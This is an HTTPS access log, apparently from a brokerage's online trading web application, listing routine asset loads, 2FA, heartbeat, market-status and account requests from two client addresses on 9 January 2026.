[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767921797562 HTTP/1.1" 3179
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:18:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:18:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921802419 HTTP/1.1" -
[09/Jan/2026:09:18:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921807475 HTTP/1.1" -
[09/Jan/2026:09:19:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921812615 HTTP/1.1" -
[09/Jan/2026:09:19:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921817751 HTTP/1.1" -
[09/Jan/2026:09:19:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921822895 HTTP/1.1" -
[09/Jan/2026:09:19:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:19:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:19:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921828027 HTTP/1.1" -
[09/Jan/2026:09:19:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:09:19:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921833121 HTTP/1.1" -
[09/Jan/2026:09:19:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921838173 HTTP/1.1" -
[09/Jan/2026:09:19:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921843346 HTTP/1.1" -
[09/Jan/2026:09:19:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921848475 HTTP/1.1" -
[09/Jan/2026:09:19:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:19:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 415
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/main.html?language=sc&version=HTML HTTP/1.1" 3570
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161913 HTTP/1.1" 940
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161913 HTTP/1.1" 1372
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161913 HTTP/1.1" 1781
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161913 HTTP/1.1" 1575
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161913 HTTP/1.1" 30725
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161913 HTTP/1.1" 856
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161913 HTTP/1.1" 2300
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161913 HTTP/1.1" 1567
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161913 HTTP/1.1" 1564
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161913 HTTP/1.1" 2482
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161913 HTTP/1.1" 2656
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161913 HTTP/1.1" 2712
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161913 HTTP/1.1" 5726
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161913 HTTP/1.1" 908
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161913 HTTP/1.1" 487
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161913 HTTP/1.1" 1364
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161913 HTTP/1.1" 2178
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161913 HTTP/1.1" 562
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161913 HTTP/1.1" 6874
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161913 HTTP/1.1" 146
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161913 HTTP/1.1" 29
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161913 HTTP/1.1" 4816
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161913 HTTP/1.1" 199
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161913 HTTP/1.1" 27
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161913 HTTP/1.1" 980
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161913 HTTP/1.1" 418
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01.jpg HTTP/1.1" 3582
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu04.jpg HTTP/1.1" 3470
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu_logout.jpg HTTP/1.1" 2595
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767921847936 HTTP/1.1" 3179
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:19:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/trade.html HTTP/1.1" 2115
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/top_menu01_o.jpg HTTP/1.1" 3474
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=sc HTTP/1.1" 287
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:19:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 204
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:19:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
